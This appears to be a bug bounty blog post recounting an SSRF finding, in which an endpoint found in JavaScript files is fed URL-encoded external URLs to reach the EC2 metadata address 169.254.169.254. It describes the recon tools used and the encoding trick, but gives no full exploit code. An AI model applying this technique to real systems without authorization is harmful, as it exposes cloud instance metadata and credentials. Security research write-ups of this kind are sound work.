Unveiling the Untold Secrets: Unearthing the Holy Grail of Bug Bounties — How I Hacked EC2 Using…

In this gripping article, we dive deep into the thrilling world of bug bounty hunting, uncovering the astonishing revelation of a hidden vulnerability. By meticulously analyzing JavaScript files, we stumbled upon an endpoint that loaded external content from the server. This discovery opened the door to a mind-boggling possibility — gaining access to the highly sensitive EC2 metadata located at 169.254.169.254.

What’s truly remarkable is that this route remained undiscovered in popular tools like WayBackUrls or GAU.

To safeguard the confidentiality agreement with the affected company, the original domain will be concealed throughout this article. However, rest assured that the description of the exploitation process will remain authentic and true to the actual experience.

This approach is crucial to both respect the confidentiality requirements and prioritize security in our narrative.

The initial and essential step involves acquiring endpoints, which can be easily accomplished using tools such as GoSpider, Katana, Waybackurls, or even Hakrawler. However, in my case, I opted for a streamlined approach using a bash Oneliner. This efficient method utilizes LinkFinder to extract a comprehensive set of endpoints from a list of files with a JS extension. It is also advisable to disregard the extension and validate the Content-Type, which can be achieved using tools like httpx.

In this particular instance, the identified endpoint did not provide any error indications due to missing parameters or other factors. Rather than investing time in launching Arjun, I chose a more direct approach by testing variations of the Google domain. I tried “the Google domain,” “the Google domain with https,” and “the Google domain with http.”

Eventually, I discovered that introducing the colon and encoded slashes, specifically as “https%3a%2f%2fwww.google.es," yielded the desired outcome.

It is common knowledge that systems and applications vary in their implementation and development approaches. However, understanding the inherent sociological aspects of design patterns can be incredibly valuable. For example, it is often observed that the resource server is indicated in the URL after the endpoint, separated by a slash. With this understanding, the next step involves gathering essential information such as the region, instance ID, and other relevant values. This data is crucial for conducting authentication and validating the obtained information effectively.

To verify the presence of a DNS/HTTP response accurately, one of the highly effective tests is to utilize “oast.” You can leverage the power of oast by visiting https://app.interactsh.com/#/.

This comprehensive tool offers robust capabilities for testing and confirming the existence of DNS and HTTP responses, enabling you to gather crucial insights during your bug bounty exploration.

In this case, the exploitation analysis spanned a comprehensive two-hour period, starting from the initial detection to the compilation of articles that had previously addressed the specific AWS/EC2 vulnerability and its approach.

As mentioned earlier, it is highly recommended to explore various articles, particularly those covering local environments in addition to production environments. This broader perspective enhances understanding and contributes to the advancement of Bug Bounty practices.

It’s important to acknowledge that progress in the Bug Bounty field not only brings financial rewards but also fosters the overall growth of the community. Let’s applaud everyone who invests their time in writing, reading, and sharing valuable insights.

Thank you for your support, and I look forward to connecting with you in future articles. Best regards!

Don’t miss out on visiting y Twitter profile, where I frequently retweet content that is relevant to the field. Additionally, explore my YouTube channel, where I delve into music experimentation. Sending virtual kisses your way!